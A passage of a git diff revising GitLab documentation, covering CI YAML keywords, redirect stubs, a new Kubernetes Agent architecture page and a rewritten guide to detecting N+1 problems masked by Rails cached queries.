[`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | | [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | -| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | -| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | +| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. | +| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. | | [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). | | [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. | -| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | -| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | -| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | +| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | +| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | +| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | | [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. | -| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | +| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | #### `dependencies` -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - By default, all [`artifacts`](#artifacts) from previous [stages](#stages) are passed to each job. However, you can use the `dependencies` keyword to define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all. @@ -3365,7 +3281,7 @@ surrounding `/` is mandatory to consistently and explicitly represent a regular expression string. You must escape special characters if you want to match them literally. -A simple example: +For example: ```yaml job1: @@ -3435,7 +3351,7 @@ Possible values for `when` are: The test there makes sure that all documented values are valid as a configuration option and therefore should always stay in sync with this documentation. - --> +--> - `always`: Retry on any failure (default). - `unknown_failure`: Retry when the failure reason is unknown. @@ -3478,16 +3394,11 @@ exceed the runner-specific timeout. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5. -Use `parallel` to configure how many instances of a job to run in -parallel. This value can be from 2 to 50. - -This creates N instances of the same job that run in parallel. They are named -sequentially from `job_name 1/N` to `job_name N/N`. +Use `parallel` to configure how many instances of a job to run in parallel. +The value can be from 2 to 50. -For every job, `CI_NODE_INDEX` and `CI_NODE_TOTAL` [environment variables](../variables/README.md#predefined-environment-variables) are set. - -Marking a job to be run in parallel requires adding `parallel` to your configuration -file. For example: +The `parallel` keyword creates N instances of the same job that run in parallel. +They are named sequentially from `job_name 1/N` to `job_name N/N`: ```yaml test: @@ -3495,10 +3406,12 @@ test: parallel: 5 ``` -Parallelize tests suites across parallel jobs. -Different languages have different tools to facilitate this. +Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL` +[environment variable](../variables/README.md#predefined-environment-variables) set. -A simple example using [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) and RSpec to run some Ruby tests: +Different languages and test suites have different methods to enable parallelization. +For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) +and RSpec to run Ruby tests in parallel: ```ruby # Gemfile @@ -3517,7 +3430,7 @@ test: ``` CAUTION: **Caution:** -Please be aware that semaphore_test_boosters reports usages statistics to the author. +Test Boosters reports usage statistics to the author. You can then navigate to the **Jobs** tab of a new pipeline build and see your RSpec job split into three separate jobs. @@ -3552,7 +3465,8 @@ deploystacks: STACK: [data, processing] ``` -This generates 10 parallel `deploystacks` jobs, each with different values for `PROVIDER` and `STACK`: +This example generates 10 parallel `deploystacks` jobs, each with different values +for `PROVIDER` and `STACK`: ```plaintext deploystacks: [aws, monitoring] @@ -3567,7 +3481,7 @@ deploystacks: [vultr, data] deploystacks: [vultr, processing] ``` -Job naming style [was improved](https://gitlab.com/gitlab-org/gitlab/-/issues/230452) in GitLab 13.4. +The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452). ### `trigger` @@ -3759,7 +3673,7 @@ Set jobs as interruptible that can be safely canceled once started (for instance Pending jobs are always considered interruptible. -Here is a simple example: +For example: ```yaml stages: @@ -3809,7 +3723,7 @@ If multiple jobs belonging to the same resource group are enqueued simultaneousl only one of the jobs is picked by the runner. The other jobs wait until the `resource_group` is free. -Here is a simple example: +For example: ```yaml deploy-to-production: @@ -3820,8 +3734,8 @@ deploy-to-production: In this case, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result, you can ensure that concurrent deployments never happen to the production environment. -There can be multiple `resource_group`s defined per environment. A good use case for this -is when deploying to physical devices. You may have multiple physical devices that +You can define multiple resource groups per environment. For example, +when deploying to physical devices, you may have multiple physical devices. Each device can be deployed to, but there can be only one deployment per device at any given time. The `resource_group` value can only contain letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces. @@ -3857,8 +3771,9 @@ image: registry.gitlab.com/gitlab-org/release-cli:latest #### Script -All jobs require a `script` tag at a minimum. A `:release` job can use the output of a -`:script` tag, but if this is not necessary, a placeholder script can be used, for example: +All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release` +job can use the output from script commands, but a placeholder script can be used if +the script is not needed: ```yaml script: @@ -4018,15 +3933,16 @@ tags. These options cannot be used together, so choose one: #### Release assets as Generic packages You can use [Generic packages](../../user/packages/generic_packages/) to host your release assets. -For a complete example of how to do this, see the [example in the repository](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/). +For a complete example, see the [Release assets as Generic packages](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/) +project. #### `releaser-cli` command line -The entries under the `:release` node are transformed into a `bash` command line and sent +The entries under the `release` node are transformed into a `bash` command line and sent to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli). You can also call the `release-cli` directly from a `script` entry. -The YAML described above would be translated into a CLI command like this: +For example, using the YAML described above: ```shell release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" @@ -4090,7 +4006,7 @@ requirements below must be met: - Any static content must be placed under a `public/` directory. - `artifacts` with a path to the `public/` directory must be defined. -The example below simply moves all files from the root of the project to the +The example below moves all files from the root of the project to the `public/` directory. The `.public` workaround is so `cp` does not also copy `public/` to itself in an infinite loop: @@ -4150,7 +4066,7 @@ deploy_review_job: You can use only integers and strings for the variable's name and value. If you define a variable at the top level of the `gitlab-ci.yml` file, it is global, -meaning it applies to all jobs. If you define a variable within a job, it's available +meaning it applies to all jobs. If you define a variable in a job, it's available to that job only. If a variable of the same name is defined globally and for a specific job, the @@ -4190,8 +4106,6 @@ need to be used to merge arrays. ### Anchors -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - YAML has a feature called 'anchors' that you can use to duplicate content across your document. @@ -4200,7 +4114,7 @@ to provide templates for your jobs. When there are duplicate keys, GitLab performs a reverse deep merge based on the keys. You can't use YAML anchors across multiple files when leveraging the [`include`](#include) -feature. Anchors are only valid within the file they were defined in. Instead +feature. Anchors are only valid in the file they were defined in. Instead of using YAML anchors, you can use the [`extends` keyword](#extends). The following example uses anchors and map merging. It creates two jobs, @@ -4227,7 +4141,7 @@ test2: `&` sets up the name of the anchor (`job_definition`), `<<` means "merge the given hash into the current one", and `*` includes the named anchor -(`job_definition` again). The expanded version looks like this: +(`job_definition` again). The expanded version of the example above is: ```yaml .job_template: @@ -4253,10 +4167,9 @@ test2: - test2 project ``` -Let's see another example. This time we use anchors to define two sets -of services. This configuration creates two jobs, `test:postgres` and `test:mysql`, that -share the `script` directive defined in `.job_template`, and the `services` -directive defined in `.postgres_services` and `.mysql_services` respectively: +You can use anchors to define two sets of services. For example, `test:postgres` +and `test:mysql` share the `script` defined in `.job_template`, but use different +`services`, defined in `.postgres_services` and `.mysql_services`: ```yaml .job_template: &job_definition @@ -4286,7 +4199,7 @@ test:mysql: services: *mysql_definition ``` -The expanded version looks like this: +The expanded version is: ```yaml .job_template: @@ -4336,13 +4249,13 @@ and [`after_script`](#after_script) to use predefined commands in multiple jobs: ```yaml .some-script: &some-script - - echo "Execute this in `before_script` sections" + - echo "Execute this script in `before_script` sections" .some-script-before: &some-script-before - - echo "Execute this in `script` sections" + - echo "Execute this script in `script` sections" .some-script-after: &some-script-after - - echo "Execute this in `after_script` sections" + - echo "Execute this script in `after_script` sections" job_name: before_script: @@ -4355,8 +4268,8 @@ job_name: #### YAML anchors for variables -[YAML anchors](#anchors) can be used with `variables`, to easily repeat assignment -of variables across multiple jobs. It can also enable more flexibility when a job +[YAML anchors](#anchors) can be used with `variables`, to repeat assignment +of variables across multiple jobs. Use can also use YAML anchors when a job requires a specific `variables` block that would otherwise override the global variables. In the example below, we override the `GIT_STRATEGY` variable without affecting @@ -4379,8 +4292,6 @@ job_no_git_strategy: ### Hide jobs -> Introduced in GitLab 8.6 and GitLab Runner v1.1.1. - If you want to temporarily 'disable' a job, rather than commenting out all the lines where the job is defined: diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index d7945617dc9..ab5d61cdfc8 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -67,7 +67,7 @@ include: ## Re-using a `before_script` template -In the following example, the content of `.before-script-template.yml` will be +In the following example, the content of `.before-script-template.yml` is automatically fetched and evaluated along with the content of `.gitlab-ci.yml`. Content of `https://gitlab.com/awesome-project/raw/master/.before-script-template.yml`: diff --git a/doc/customization/branded_login_page.md b/doc/customization/branded_login_page.md index 9667e5e380a..cf593f360c8 100644 --- a/doc/customization/branded_login_page.md +++ b/doc/customization/branded_login_page.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#sign-in--sign-up-pages' --- This document was moved to [another location](../user/admin_area/appearance.md#sign-in--sign-up-pages). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/branded_page_and_email_header.md b/doc/customization/branded_page_and_email_header.md index 64958521f64..21a69178b6d 100644 --- a/doc/customization/branded_page_and_email_header.md +++ b/doc/customization/branded_page_and_email_header.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#navigation-bar' --- This document was moved to [another location](../user/admin_area/appearance.md#navigation-bar). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/favicon.md b/doc/customization/favicon.md index d43ed944e26..3d6c2f62b25 100644 --- a/doc/customization/favicon.md +++ b/doc/customization/favicon.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#favicon' --- This document was moved to [another location](../user/admin_area/appearance.md#favicon). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/help_message.md b/doc/customization/help_message.md index 5694ee89c17..3f13e4efdbd 100644 --- a/doc/customization/help_message.md +++ b/doc/customization/help_message.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/settings/help_page.md' --- This document was moved to [another location](../user/admin_area/settings/help_page.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/index.md b/doc/customization/index.md index f3e1e3190fd..3c88ad8106b 100644 --- a/doc/customization/index.md +++ b/doc/customization/index.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md' --- This document was moved to [another location](../user/admin_area/appearance.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/issue_and_merge_request_template.md b/doc/customization/issue_and_merge_request_template.md index bab81629221..0b4ca009080 100644 --- a/doc/customization/issue_and_merge_request_template.md +++ b/doc/customization/issue_and_merge_request_template.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/description_templates.md' --- This document was moved to [description_templates](../user/project/description_templates.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/issue_closing.md b/doc/customization/issue_closing.md index 9333f55ca9c..c860f51dc2f 100644 --- a/doc/customization/issue_closing.md +++ b/doc/customization/issue_closing.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/issues/managing_issues.md#closing-issues-automatic --- This document was moved to [another location](../user/project/issues/managing_issues.md#closing-issues-automatically). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/libravatar.md b/doc/customization/libravatar.md index 78df24066ea..affb6211377 100644 --- a/doc/customization/libravatar.md +++ b/doc/customization/libravatar.md @@ -3,3 +3,6 @@ redirect_to: '../administration/libravatar.md' --- This document was moved to [another location](../administration/libravatar.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/new_project_page.md b/doc/customization/new_project_page.md index ee09df26cb1..82549d62960 100644 --- a/doc/customization/new_project_page.md +++ b/doc/customization/new_project_page.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#new-project-pages' --- This document was moved to [another location](../user/admin_area/appearance.md#new-project-pages). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/system_header_and_footer_messages.md b/doc/customization/system_header_and_footer_messages.md index 1d17f3bee3f..03dccfb35c9 100644 --- a/doc/customization/system_header_and_footer_messages.md +++ b/doc/customization/system_header_and_footer_messages.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#system-header-and-footer-messages --- This document was moved to [another location](../user/admin_area/appearance.md#system-header-and-footer-messages). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/welcome_message.md b/doc/customization/welcome_message.md index 9667e5e380a..cf593f360c8 100644 --- a/doc/customization/welcome_message.md +++ b/doc/customization/welcome_message.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/appearance.md#sign-in--sign-up-pages' --- This document was moved to [another location](../user/admin_area/appearance.md#sign-in--sign-up-pages). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/agent/index.md b/doc/development/agent/index.md new file mode 100644 index 00000000000..4361863daeb --- /dev/null +++ b/doc/development/agent/index.md @@ -0,0 +1,83 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Kubernetes Agent development **(PREMIUM ONLY)** + +This page contains developer-specific information about the GitLab Kubernetes Agent. +[End-user documentation about the GitLab Kubernetes Agent](../../user/clusters/agent/index.md) +is also available. + +The agent can help you perform tasks like these: + +- Integrate a cluster, located behind a firewall or NAT, with GitLab. To + learn more, read [issue #212810, Invert the model GitLab.com uses for Kubernetes integration by leveraging long lived reverse tunnels](https://gitlab.com/gitlab-org/gitlab/-/issues/212810). +- Access API endpoints in a cluster in real time. For an example use case, read + [issue #218220, Allow Prometheus in K8s cluster to be installed manually](https://gitlab.com/gitlab-org/gitlab/-/issues/218220#note_348729266). +- Enable real-time features by pushing information about events happening in a cluster. + For example, you could build a cluster view dashboard to visualize changes in progress + in a cluster. For more information about these efforts, read about the + [Real-Time Working Group](https://about.gitlab.com/company/team/structure/working-groups/real-time/). +- Enable a [cache of Kubernetes objects through informers](https://github.com/kubernetes/client-go/blob/ccd5becdffb7fd8006e31341baaaacd14db2dcb7/tools/cache/shared_informer.go#L34-L183), + kept up-to-date with very low latency. This cache helps you: + + - Reduce or eliminate information propagation latency by avoiding Kubernetes API calls + and polling, and only fetching data from an up-to-date cache. + - Lower the load placed on the Kubernetes API by removing polling. + - Eliminate any rate-limiting errors by removing polling. + - Simplify backend code by replacing polling code with cache access. While it's another + API call, no polling is needed. This example describes [fetching cached data synchronously from the front end](https://gitlab.com/gitlab-org/gitlab/-/issues/217792#note_348582537) instead of fetching data from the Kubernetes API. + +## Architecture of the Kubernetes Agent + +The GitLab Kubernetes Agent and the GitLab Kubernetes Agent Server use +[bidirectional streaming](https://grpc.io/docs/guides/concepts/#bidirectional-streaming-rpc) +to allow the connection acceptor (the gRPC server, GitLab Kubernetes Agent Server) to +act as a client. The connection acceptor sends requests as gRPC replies. The client-server +relationship is inverted because the connection must be initiated from inside the +Kubernetes cluster to bypass any firewall or NAT the cluster may be located behind. +To learn more about this inversion, read +[issue #212810](https://gitlab.com/gitlab-org/gitlab/-/issues/212810). + +This diagram describes how GitLab (`GitLab RoR`), the GitLab Kubernetes Agent (`agentk`), and the GitLab Kubernetes Agent Server (`kas`) work together. + +```mermaid +graph TB + agentk -- gRPC bidirectional streaming --> kas + + subgraph "GitLab" + kas[kas] + GitLabRoR[GitLab RoR] -- gRPC --> kas + kas -- gRPC --> Gitaly[Gitaly] + kas -- REST API --> GitLabRoR + end + + subgraph "Kubernetes cluster" + agentk[agentk] + end +``` + +- `GitLab RoR` is the main GitLab application. It uses gRPC to talk to `kas`. +- `agentk` is the GitLab Kubernetes Agent. It keeps a connection established to a + `kas` instance, waiting for requests to process. It may also actively send information + about things happening in the cluster. +- `kas` is the GitLab Kubernetes Agent Server, and is responsible for: + - Accepting requests from `agentk`. + - [Authentication of requests](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/identity_and_auth.md) from `agentk` by querying `GitLab RoR`. + - Fetching agent's configuration from a corresponding Git repository by querying Gitaly. + - Matching incoming requests from `GitLab RoR` with existing connections from + the right `agentk`, forwarding requests to it and forwarding responses back. + - (Optional) Sending notifications through ActionCable for events received from `agentk`. + - Polling manifest repositories for [GitOps support](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/gitops.md) by communicating with Gitaly. + +## Guiding principles + +GitLab prefers to add logic into `kas` rather than `agentk`. `agentk` should be kept +streamlined and small to minimize the need for upgrades. On GitLab.com, `kas` is +managed by GitLab, so upgrades and features can be added without requiring you +to upgrade `agentk` in your clusters. + +`agentk` can't be viewed as a dumb reverse proxy because features are planned to be built +[on top of the cache with informers](https://github.com/kubernetes/client-go/blob/ccd5becdffb7fd8006e31341baaaacd14db2dcb7/tools/cache/shared_informer.go#L34-L183). diff --git a/doc/development/cached_queries.md b/doc/development/cached_queries.md index 812e5f88754..16ee831f7bf 100644 --- a/doc/development/cached_queries.md +++ b/doc/development/cached_queries.md @@ -1,80 +1,101 @@ -# Cached queries guidelines +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- -Rails provides an [SQL query cache](https://guides.rubyonrails.org/caching_with_rails.html#sql-caching), -used to cache the results of database queries for the duration of the request. +# Cached queries guidelines -If Rails encounters the same query again for that request, -it will use the cached result set as opposed to running the query against the database again. +Rails provides an [SQL query cache](https://guides.rubyonrails.org/caching_with_rails.html#sql-caching) +which is used to cache the results of database queries for the duration of a request. +When Rails encounters the same query again within the same request, it uses the cached +result set instead of running the query against the database again. -The query results are only cached for the duration of that single request, it does not persist across multiple requests. +The query results are only cached for the duration of that single request, and +don't persist across multiple requests. ## Why cached queries are considered bad -The cached queries help with reducing DB load, but they still: +Cached queries help by reducing the load on the database, but they still: - Consume memory. -- Require as to re-instantiate each `ActiveRecord` object. -- Require as to re-instantiate each relation of the object. -- Make us spend additional CPU-cycles to look into a list of cached queries. - -The Cached SQL queries are cheaper, but they are not cheap at all from `memory` perspective. -They could mask [N+1 query problem](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations), -so we should threat them the same way we threat regular N+1 queries. +- Require Rails to re-instantiate each `ActiveRecord` object. +- Require Rails to re-instantiate each relation of the object. +- Make us spend additional CPU cycles to look into a list of cached queries. + +Although cached queries are cheaper from a database perspective, they are potentially +more expensive from a memory perspective. They could mask +[N+1 query problems](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations), +so you should treat them the same way you treat regular N+1 queries. -In case of N+1 queries, masked with cached queries, we are executing the same query N times. -It will not hit the database N times, it will return the cached results instead. -This is still expensive since we need to re-initialize objects each time, and this is CPU/Memory expensive. -Instead, we should use the same in-memory objects, if possible. +In cases of N+1 queries masked by cached queries, the same query is executed N times. +It will not hit the database N times but instead returns the cached results N times. +This is still expensive because you need to re-initialize objects each time at a +greater expense to the CPU and memory resources. Instead, you should use the same +in-memory objects whenever possible. -When we introduce a new feature, we should avoid N+1 problems, -minimize the [query count](merge_request_performance_guidelines.md#query-counts), and pay special attention that [cached -queries](merge_request_performance_guidelines.md#cached-queries) are not masking N+1 problems. +When you introduce a new feature, you should: -## How to detect +- Avoid N+1 queries. +- Minimize the [query count](merge_request_performance_guidelines.md#query-counts). +- Pay special attention to ensure + [cached queries](merge_request_performance_guidelines.md#cached-queries) are not + masking N+1 problems. + +## How to detect cached queries ### Detect potential offenders by using Kibana -On GitLab.com, we are logging entries with the number of executed cached queries in the -`pubsub-redis-inf-gprd*` index with the [`db_cached_count`](https://log.gprd.gitlab.net/goto/77d18d80ad84c5df1bf1da5c2cd35b82). -We can filter endpoints that have a large number of executed cached queries. For example, if we encounter an endpoint -that has 100+ `db_cached_count`, this could indicate that there is an N+1 problem masked with cached queries. -We should probably investigate this endpoint further, to check if we are executing duplicated cached queries. +GitLab.com, logs entries with the number of executed cached queries in the +`pubsub-redis-inf-gprd*` index as +[`db_cached_count`](https://log.gprd.gitlab.net/goto/77d18d80ad84c5df1bf1da5c2cd35b82). +You can filter by endpoints that have a large number of executed cached queries. For +example, an endpoint with a `db_cached_count` greater than 100 can indicate an N+1 problem which +is masked by cached queries. You should investigate this endpoint further to determine +if it is indeed executing duplicated cached queries. + +For more Kibana visualizations related to cached queries, read +[issue #259007, 'Provide metrics that would help us to detect the potential N+1 CACHED SQL calls'](https://gitlab.com/gitlab-org/gitlab/-/issues/259007). -For more cached queries Kibana visualizations see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/259007). +### Inspect suspicious endpoints using the Performance Bar -### Inspect suspicious endpoint using Performance Bar +When building features, use the +[performance bar](../administration/monitoring/performance/performance_bar.md) +to view the list of database queries, including cached queries. The +performance bar shows a warning when the number of total executed and cached queries is +greater than 100. -When building features, you could use the [performance bar](../administration/monitoring/performance/performance_bar.md) -to list database queries, which will include cached queries as well. The performance bar will show a warning -when threshold of total executed queries (including cached ones) has exceeded 100 queries. +To learn more about the statistics available to you, read the +[Performance Bar documentation](../administration/monitoring/performance/performance_bar.md). ## What to look for -Using [Kibana](cached_queries.md#detect-potential-offenders-by-using-kibana), you can look for a large number -of executed cached queries. End-points with large number of `db_cached_count` could indicate that there -are probably a lot of duplicated cached queries, which often indicates a masked N+1 problem. +Using [Kibana](#detect-potential-offenders-by-using-kibana), you can look for a large number +of executed cached queries. Endpoints with a large `db_cached_count` could suggest a large number +of duplicated cached queries, which often indicates a masked N+1 problem. -When you investigate specific endpoint, you could use -the [performance bar](cached_queries.md#inspect-suspicious-endpoint-using-performance-bar). -If you see a lot of similar queries, this often indicates an N+1 query issue (or a similar kind of query batching problem). -If you see same cached query executed multiple times, this often indicates a masked N+1 query problem. +When you investigate a specific endpoint, use +the [performance bar](#inspect-suspicious-endpoints-using-the-performance-bar) +to identify similar and cached queries, which may also indicate an N+1 query issue +(or a similar kind of query batching problem). -For example, let's say you wanted to debug `GroupMembers` page. +### An example -In the left corner of the performance bar you could see **Database queries** showing the total number of database queries +For example, let's debug the "Group Members" page. In the left corner of the +performance bar, **Database queries** shows the total number of database queries and the number of executed cached queries:  -We can see that there are 55 cached queries. By clicking on the number, a modal window with more details is shown. -Cached queries are marked with the `cached` label, so they are easy to spot. We can see that there are multiple duplicated -cached queries: +The page included 55 cached queries. Clicking the number displays a modal window +with more details about queries. Cached queries are marked with the `cached` label +below the query. You can see multiple duplicate cached queries in this modal window:  -If we click on `...` for one of them, it will expand the actual stack trace: +Click **...** to expand the actual stack trace: -```shell +```ruby [ "app/models/group.rb:305:in `has_owner?'", "ee/app/views/shared/members/ee/_license_badge.html.haml:1", @@ -99,24 +120,30 @@ If we click on `...` for one of them, it will expand the actual stack trace: ] ``` -The stack trace, shows us that we obviously have an N+1 problem, since we are repeatably executing for each group member: +The stack trace shows an N+1 problem, because the code repeatedly executes +`group.has_owner?(current_user)` for each group member. To solve this issue, +move the repeated line of code outside of the loop, passing the result to each rendered member instead: -```ruby -group.has_owner?(current_user) -``` +```erb +- current_user_is_group_owner = @group && @group.has_owner?(current_user) -This is easily solvable by extracting this check, above the loop. += render partial: 'shared/members/member', + collection: @members, as: :member, + locals: { membership_source: @group, + group: @group, + current_user_is_group_owner: current_user_is_group_owner } +``` -After [the fix](https://gitlab.com/gitlab-org/gitlab/-/issues/231468), we now have: +After [fixing the cached query](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44626/diffs#27c2761d66e496495be07d0925697f7e62b5bd14), the performance bar now shows only +6 cached queries:  ## How to measure the impact of the change -We can use the [memory profiler](performance.md#using-memory-profiler) to profile our code. -For the previous example, we could wrap the profiler around the `Groups::GroupMembersController#index` action. - -We had: +Use the [memory profiler](performance.md#using-memory-profiler) to profile your code. +For [this example](#an-example), wrap the profiler around the `Groups::GroupMembersController#index` action. Before the fix, the application had +the following statistics: - Total allocated: 7133601 bytes (84858 objects) - Total retained: 757595 bytes (6070 objects) @@ -124,7 +151,8 @@ We had: - `db_cached_count`: 55 - `db_duration`: 303ms -After the fix, we can see that we have reduced the allocated memory as well as the number of cached queries and improved execution time: +The fix reduced the allocated memory, and the number of cached queries. These +factors help improve the overall execution time: - Total allocated: 5313899 bytes (65290 objects), 1810KB (25%) less - Total retained: 685593 bytes (5278 objects), 72KB (9%) less @@ -132,7 +160,7 @@ After the fix, we can see that we have reduced the allocated memory as well as t - `db_cached_count`: 6 (89% less) - `db_duration`: 162ms (87% faster) -## See also +## For more information - [Metrics that would help us detect the potential N+1 Cached SQL calls](https://gitlab.com/gitlab-org/gitlab/-/issues/259007) - [Merge Request performance guidelines for cached queries](merge_request_performance_guidelines.md#cached-queries) diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md index 30ccc52ec5e..d1f22a559c6 100644 --- a/doc/development/cicd/index.md +++ b/doc/development/cicd/index.md @@ -32,8 +32,8 @@ On the left side we have the events that can trigger a pipeline based on various - When GitHub integration is used with [external pull requests](../../ci/ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). - When an upstream pipeline contains a [bridge job](../../ci/yaml/README.md#trigger) which triggers a downstream pipeline. -Triggering any of these events will invoke the [`CreatePipelineService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/create_pipeline_service.rb) -which takes as input event data and the user triggering it, then will attempt to create a pipeline. +Triggering any of these events invokes the [`CreatePipelineService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/create_pipeline_service.rb) +which takes as input event data and the user triggering it, then attempts to create a pipeline. The `CreatePipelineService` relies heavily on the [`YAML Processor`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/yaml_processor.rb) component, which is responsible for taking in a YAML blob as input and returns the abstract data structure of a @@ -65,20 +65,20 @@ the `Runner API Gateway`. We can register, delete, and verify runners, which also causes read/write queries to the database. After a runner is connected, it keeps asking for the next job to execute. This invokes the [`RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb) -which will pick the next job and assign it to the runner. At this point the job will transition to a +which picks the next job and assigns it to the runner. At this point the job transitions to a `running` state, which again triggers `ProcessPipelineService` due to the status change. For more details read [Job scheduling](#job-scheduling)). While a job is being executed, the runner sends logs back to the server as well any possible artifacts that need to be stored. Also, a job may depend on artifacts from previous jobs in order to run. In this -case the runner will download them using a dedicated API endpoint. +case the runner downloads them using a dedicated API endpoint. Artifacts are stored in object storage, while metadata is kept 